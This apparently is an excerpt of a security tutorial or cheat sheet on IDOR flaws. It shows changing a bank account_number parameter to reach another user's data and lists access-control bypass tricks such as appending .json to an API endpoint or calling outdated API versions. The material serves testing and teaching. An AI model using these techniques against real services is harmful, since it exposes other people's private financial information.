For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this https://example.com/bank?account_number=1234. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.
There is however a potentially huge problem here, a hacker may be able to change the account_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information.

- Add .json to the endpoint
GET /v2/GetData/1234
[...]
Try this to bypass
GET /v2/GetData/1234.json
[...]
- Test on outdated API Versions
POST /v2/GetData
